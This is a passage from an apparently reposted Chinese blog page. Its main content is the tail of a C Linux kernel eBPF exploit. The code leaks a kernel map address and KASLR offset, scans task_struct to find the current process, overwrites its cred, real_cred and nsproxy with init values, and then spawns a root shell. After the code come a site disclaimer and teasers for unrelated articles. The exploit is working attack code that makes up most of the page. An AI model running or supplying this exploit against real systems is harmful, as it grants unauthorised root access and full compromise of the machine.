    .log_buf = (uint64_t) bpf_log_buf,
    .log_size = BPF_LOG_SZ,
};


void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
}

void trigger() {
        write(sockets[0], trigger_buf, 0x100);
}

void prep() {

        value1 = (uint64_t*)calloc(0x2000, 1);
        value2 = (uint64_t*)calloc(0x2000, 1);
        prctl(PR_SET_NAME, "XiaozaYa");

        map_fd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
        if (map_fd1 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

        map_fd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
        if (map_fd2 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

        prog_fd = bpf(BPF_PROG_LOAD, &attr);
        if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");

        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
                perror("socketpair()"), err_exit("socketpair()");

        if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
                perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()");
//        puts(bpf_log_buf);
}

void pwn() {

        uint64_t buf[0x2000/8] = { 0 };
        memset(trigger_buf, 'A', sizeof(trigger_buf));
        trigger_buf[8] = '\xc0';
        value2[0] = 0xdead;
        bpf_map_update_elem(map_fd1, &key, value1, BPF_ANY);
        bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
        for (int i = 0; i < 15; i++) {
                value2[0] = 0xdead;
                bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
                trigger_buf[8+1] = i*0x10;
                trigger();

                memset(buf, 0, sizeof(buf));
                bpf_map_lookup_elem(map_fd2, &key, buf);
                uint64_t data = *(uint64_t*)buf;
                if (map_addr == -1 && (data&0xffff000000000fff) == 0xffff0000000000c0)
                        map_addr = data - 0xc0;
                printf("[---dump----] %-016llx\n", data);
        }
        if (map_addr == -1)
                err_exit("FAILED to leak map_addr");


        hexx("map_addr", map_addr);
        value2[0] = 0xdead;
        bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
        trigger_buf[8] = '\x00';
        trigger_buf[8+1] = (char)((map_addr >> 8)&0xff);
        trigger();
        memset(buf, 0, sizeof(buf));
        bpf_map_lookup_elem(map_fd2, &key, buf);
        binary_dump("LEAK DATA", buf, 0x20);

        koffset = *(uint64_t*)buf - array_map_ops;
        init_cred += koffset;
        init_task += koffset;
        init_nsproxy += koffset;
        hexx("koffset", koffset);

        puts("======= searching current task_struct =======");
        current_task = init_task;
        for (;;) {
                value2[0] = 0xbeef;
                bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
                *(uint64_t*)(trigger_buf+8) = current_task+0x8c0;
                trigger();
                memset(buf, 0, sizeof(buf));
                bpf_map_lookup_elem(map_fd2, &key, buf);
                current_task = buf[0] - 0x8b8;

                value2[0] = 0xbeef;
                bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
                *(uint64_t*)(trigger_buf+8) = current_task+0xb98;
                trigger();
                memset(buf, 0, sizeof(buf));
                bpf_map_lookup_elem(map_fd2, &key, buf);
                if (buf[0] == tag) {
                        hexx("Hit current_task", current_task);
                        break;
                }
                hexx("current_task", current_task);
        }

        puts("======= replace cred/real_cred wiht init_cred =======");
        value2[0] = 0xdeef;
        value2[1] = init_cred;
        bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
        *(uint64_t*)(trigger_buf+8) = current_task+0xb88;
        trigger();

        value2[1] = init_cred;
        bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
        *(uint64_t*)(trigger_buf+8) = current_task+0xb80;
        trigger();

        value2[1] = init_nsproxy;
        bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
        *(uint64_t*)(trigger_buf+8) = current_task+0xbf0;
        trigger();

}

int main(int argc, char** argv, char** envp)
{
        init();
        prep();
        pwn();
        get_root_shell();
        puts("EXP NERVER END!");
        return 0;
}

效果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/442518.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CLion中常用快捷键(仍适用其他编译软件)

基本编辑操作&#xff1a; 复制&#xff1a;Ctrl C粘贴&#xff1a;Ctrl V剪切&#xff1a;Ctrl X撤销&#xff1a;Ctrl Z重做&#xff1a;Ctrl Shift Z &#xff08;不小心撤销了 需要返回之前的操作 相当于下一步&#xff09;全选&#xff1a;Ctrl A 导航&#xff1…

day18_支付宝支付项目部署(保存支付信息,支付接口,支付宝异步回调)

文章目录 1 支付1.1 需求说明1.2 支付宝支付1.2.1 产品介绍产品特色使用示例申请条件费率 1.2.2 接入准备1.2.3 手机网站支付快速接入1.2.4 官方demo研究 1.3 环境搭建(service-pay)1.4 后端接口1.4.1 保存支付信息实现流程说明查询订单接口开发openFeign接口定义代码实现添加依…

【重温设计模式】备忘录模式及其Java示例

备忘录模式的概述 在软件设计的世界中&#xff0c;备忘录模式是一种行为设计模式&#xff0c;它的主要作用是保存对象的当前状态&#xff0c;以便在将来的某个时间点&#xff0c;可以将对象恢复到这个保存的状态。这种模式的命名源于生活中的备忘录&#xff0c;我们常常用它来…

P1914 小书童——凯撒密码

题目描述&#xff1a; AC代码&#xff1a; #include<iostream> #include<cstring>using namespace std;int main() {int n;scanf("%d",&n);string str;cin >> str;//字符串密码输入 for(int i0;i<str.size();i) //遍历字符串中的字符使其…

Unity的PICO项目基础环境搭建笔记(调试与构建应用篇)

文章目录 前言一、为设备开启开发者模式1、开启PICO VR一体机。前往设置>通用>关于本机>软件版本号2、一直点击 软件版本号 &#xff0c;直到出现 开发者 选项3、进入 开发者模式&#xff0c;打开 USB调试&#xff0c;选择 文件传输 二、实时预览应用场景1、下载PC端的…

Apache的运用与实战

WEB服务器 1、WEB服务简介 # 目前最主流的三个Web服务器是Apache、Nginx、 IIS。 - WEB服务器一般指网站服务器&#xff0c;可以向浏览器等Web客户端提供网站的访问&#xff0c;让全世界浏览。 - WEB服务器也称为WWW(WORLD WIDE WEB)服务器&#xff0c;主要功能是提供网上信息…

【Java - 框架 - Mybatis】(01) 普通Java项目使用Mybatis操作Mysql - 快速上手

普通Java项目使用Mybatis操作Mysql - 快速上手 说明 通过软件"IntelliJ IDEA"创建"Maven"项目完成&#xff1b;通过"Mybatis"框架操纵"MySQL"数据库完成操作&#xff1b; 环境 Java版本"1.8.0_202"&#xff1b;Windows …

python 的zip函数的用法

目录 简介 示例 例子1 例子2 例子3 简介 zip在英语里的意思是拉链。想象两个列表&#xff08;或任何可迭代的容器&#xff09;&#xff0c;a和b。两者各自有若干元素。zip的输入变量就是两个可迭代的容器&#xff0c;zip的返回值也是一个容器&#xff0c;容器的每个元素都…

《JAVA与模式》之不变模式

系列文章目录 文章目录 系列文章目录前言一、不变模式的结构二、不变模式在JAVA中的应用三、不变模式的优点和缺点前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 …

OpenSearch 与 Elasticsearch:哪个开源搜索引擎适合您?

当谈论到搜索引擎产品时&#xff0c;Elasticsearch 和 OpenSearch 是两个备受关注的选择。它们都以其出色的功能和灵活性而闻名&#xff0c;但在一些方面存在一些差异。在本文中&#xff0c;我们将从功能和延展性、工具与资源、价格和许可这三个角度对这两个产品进行论述。通过…

OSPF直连路由引入实验简述

OSPF直连路由引入 实验拓扑图 实验命令 r2: sys sysname r2 undo info enable int loopb 0 ip add 2.2.2.2 32 quit int e0/0/0 ip add 23.1.1.2 24 quit ospf 1 area 0 network 23.1.1.0 0.0.0.255 network 2.2.2.2 0.0.0.0 ret sys int loopb 200 ip add 200.200.200.200 3…

KH-MCX-KWE-W

KH-MCX-KWE-W品牌: kinghelm(金航标)封装: 插件 描述: 镀金

【数据分享】2013-2022年全国范围逐日SO2栅格数据

空气质量数据是在我们日常研究中经常使用的数据&#xff01;之前我们给大家分享了2013-2022年全国范围逐月SO2栅格数据和逐年SO2栅格数据&#xff08;均可查看之前的文章获悉详情&#xff09;。 本次我们给大家带来的是2013-2022年全国范围的逐日的SO2栅格数据&#xff0c;原始…

CSS中元素的层叠顺序

层叠顺序&#xff0c;英文称作 stacking order&#xff0c;表示元素发生层叠时有着特定的垂直显示顺序。下面是盒模型的层叠规则&#xff1a; 对于上图&#xff0c;由上到下分别是&#xff1a; &#xff08;1&#xff09;背景和边框&#xff1a;建立当前层叠上下文元素的背景…

飞驰云联CEO朱旭光荣获“科技领军人才”称号

2024年2月29日&#xff0c;苏州工业园区“优化营商环境暨作风效能建设大会”成功举办&#xff0c;会上公布了2023年度苏州工业园区第十七届第一批金鸡湖科技领军人才名单&#xff0c;Ftrans飞驰云联创始人兼CEO朱旭光先生凭借在数据安全以及文件交换领域取得的突出成果&#xf…

容器(0)-DOCKERFILE-安装-常用命令-部署-迁移备份-仓库

1.安装 启动 systemclt start docker //启动 systemctl status docker //状态 docker info systemclt stop docker systemctl status docker systemctl enable docker //开机启动 2.常用命令 镜像查看 docker images 镜像查看 docker status 镜像拉取 docker pull centos:…

红队专题-渗透工具-瑞士军刀Netcat

瑞士军刀Netcat NC: netcatNC反弹shell命令centos 安装反弹shell时如果用Linux的netcat监听可能 会出现中文字符、↑↓←→等特殊按键乱码问题,我们可以尝试使用rlwrap工具来解决这个问题。 NC: netcat 一个简单、可靠的网络工具 nc的作用(1)实现任意TCP/UDP端口的侦听 …

下载一些ROS的包的方式

ROS Index 我们可以去ROS Index网站下载一些我们需要的包。打开浏览器在网址框输入index.ros.org。或者点击此处链接ROS Index 在这个网站中我们可以浏览并找到我们需要的包&#xff0c;也可以下载它的源代码或者仅安装到我们的系统中来使用。&#xff08;安装过程在终端中进行…

【Redis知识点总结】(三)——Redis持久化机制、内存淘汰策略、惰性删除机制

Redis知识点总结&#xff08;三&#xff09;——Redis持久化机制、内存淘汰策略、惰性删除机制 Redis持久化RDBAOFAOF与RDB的对比混合持久化 内存淘汰策略惰性删除机制 Redis持久化 Redis有两种数据持久化的方式&#xff0c;一种是RDB、一种是AOF。 RDB RDB是内存快照&#…

市场情绪主升周期的分歧产生核心节点剖析

昨天下午我在群里分享了核心一些观点&#xff1a; 理解市场&#xff0c;划分情绪周期阶段&#xff0c;本质还是理解&#xff0c;观察驱动市场先手资金的动向。 亏钱可以说是因为我们带有个人偏见导致的&#xff0c;进一步说是因为我们偏离了市场资金共识导致的&#xff0c;可能…